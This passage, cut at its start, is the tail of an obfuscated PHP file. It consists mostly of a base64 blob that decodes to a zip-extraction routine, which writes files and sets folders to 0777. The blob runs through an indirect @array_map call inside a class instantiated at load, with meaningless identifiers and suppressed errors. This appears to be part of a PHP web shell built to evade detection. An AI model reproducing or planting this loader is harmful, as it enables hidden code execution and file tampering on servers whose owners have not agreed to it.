gkJaWYoKCFpc19kaXIoJG15ZGlyKSAmJiBAbWtkaXIoJG15ZGlyLDA3NzcpKSB8fCAoKCRteWRpcj09JHRvLiRoZWFkZXJbJ2ZpbGVuYW1lJ10gfHwgKCRteWRpcj09JHRvICYmICR0aGlzLT50b3RhbF9mb2xkZXJzPT0wKSkgJiYgaXNfZGlyKCRteWRpcikpICl7DQoJCQlAY2htb2QoJG15ZGlyLDA3NzcpOw0KCQkJJHRoaXMtPnRvdGFsX2ZvbGRlcnMgKys7DQoJCQllY2hvICLEv8K8OiAkbXlkaXI8YnI+IjsNCgkJfQ0KCX0NCg0KCWlmKHN0cnJjaHIoJGhlYWRlclsnZmlsZW5hbWUnXSwnLycpPT0nLycpIHJldHVybjsNCg0KCWlmICghKCRoZWFkZXJbJ2V4dGVybmFsJ109PTB4NDFGRjAwMTApJiYhKCRoZWFkZXJbJ2V4dGVybmFsJ109PTE2KSl7DQoJCWlmICgkaGVhZGVyWydjb21wcmVzc2lvbiddPT0wKXsNCgkJCSRmcCA9IEBmb3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJyk7DQoJCQlpZighJGZwKSByZXR1cm4oLTEpOw0KCQkJJHNpemUgPSAkaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXTsNCg0KCQkJd2hpbGUgKCRzaXplICE9IDApew0KCQkJCSRyZWFkX3NpemUgPSAoJHNpemUgPCAyMDQ4ID8gJHNpemUgOiAyMDQ4KTsNCgkJCQkkYnVmZmVyID0gZnJlYWQoJHppcCwgJHJlYWRfc2l6ZSk7DQoJCQkJJGJpbmFyeV9kYXRhID0gcGFjaygnYScuJHJlYWRfc2l6ZSwgJGJ1ZmZlcik7DQoJCQkJQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7DQoJCQkJJHNpemUgLT0gJHJlYWRfc2l6ZTsNCgkJCX0NCgkJCWZjbG9zZSgkZnApOw0KCQkJdG91Y2goJHRvLiRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOw0KCQl9ZWxzZXsNCgkJCSRmcCA9IEBmb3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXS4nLmd6Jywnd2InKTsNCgkJCWlmKCEkZnApIHJldHVybigtMSk7DQoJCQkkYmluYXJ5X2RhdGEgPSBwYWNrKCd2YTFhMVZhMWExJywgMHg4YjFmLCBDaHIoJGhlYWRlclsnY29tcHJlc3Npb24nXSksDQoJCQlDaHIoMHgwMCksIHRpbWUoKSwgQ2hyKDB4MDApLCBDaHIoMykpOw0KDQoJCQlmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsIDEwKTsNCgkJCSRzaXplID0gJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ107DQoNCgkJCXdoaWxlICgkc2l6ZSAhPSAwKXsNCgkJCQkkcmVhZF9zaXplID0gKCRzaXplIDwgMTAyNCA/ICRzaXplIDogMTAyNCk7DQoJCQkJJGJ1ZmZlciA9IGZyZWFkKCR6aXAsICRyZWFkX3NpemUpOw0KCQkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiRyZWFkX3NpemUsICRidWZmZXIpOw0KCQkJCUBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsICRyZWFkX3NpemUpOw0KCQkJCSRzaXplIC09ICRyZWFkX3NpemU7DQoJCQl9DQoNCgkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ1ZWJywgJGhlYWRlclsnY3JjJ10sICRoZWFkZXJbJ3NpemUnXSk7DQoJCQlmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsOCk7IGZjbG9zZSgkZnApOw0KDQoJCQkkZ3pwID0gQGd6b3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXS4nLmd6JywncmInKSBvciBkaWUoIkNldHRlIGFyY2hpdmUgZXN0IGNvbXByZXNzIik7DQoJCQlpZighJGd6cCkgcmV0dXJuKC0yKTsNCgkJCSRmcCA9IEBmb3BlbigkdG8uJGhlYWRlclsnZmlsZW5hbWUnXSwnd2InKTsNCgkJCWlmKCEkZnApIHJldHVybigtMSk7DQoJCQkkc2l6ZSA9ICRoZWFkZXJbJ3NpemUnXTsNCg0KCQkJd2hpbGUgKCRzaXplICE9IDApew0KCQkJCSRyZWFkX3NpemUgPSAoJHNpemUgPCAyMDQ4ID8gJHNpemUgOiAyMDQ4KTsNCgkJCQkkYnVmZmVyID0gZ3pyZWFkKCRnenAsICRyZWFkX3NpemUpOw0KCQkJCSRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiRyZWFkX3NpemUsICRidWZmZXIpOw0KCQkJCUBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsICRyZWFkX3NpemUpOw0KCQkJCSRzaXplIC09ICRyZWFkX3NpemU7DQoJCQl9DQoJCQlmY2xvc2UoJGZwKTsgZ3pjbG9zZSgkZ3pwKTsNCg0KCQkJdG91Y2goJHRvLiRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOw0KCQkJQHVubGluaygkdG8uJGhlYWRlclsnZmlsZW5hbWUnXS4nLmd6Jyk7DQoNCgkJfQ0KCX0NCg0KCSR0aGlzLT50b3RhbF9maWxlcyArKzsNCgllY2hvICLOxLz+OiAkdG8kaGVhZGVyW2ZpbGVuYW1lXTxicj4iOw0KCXJldHVybiB0cnVlOw0KIH0NCn0NCm9iX2VuZF9mbHVzaCgpOw0K'));"));
}
function PTHD($GKLZ,$RNVD){
@array_map($GKLZ,$RNVD);
}}
$piyn=new PIYN();
?>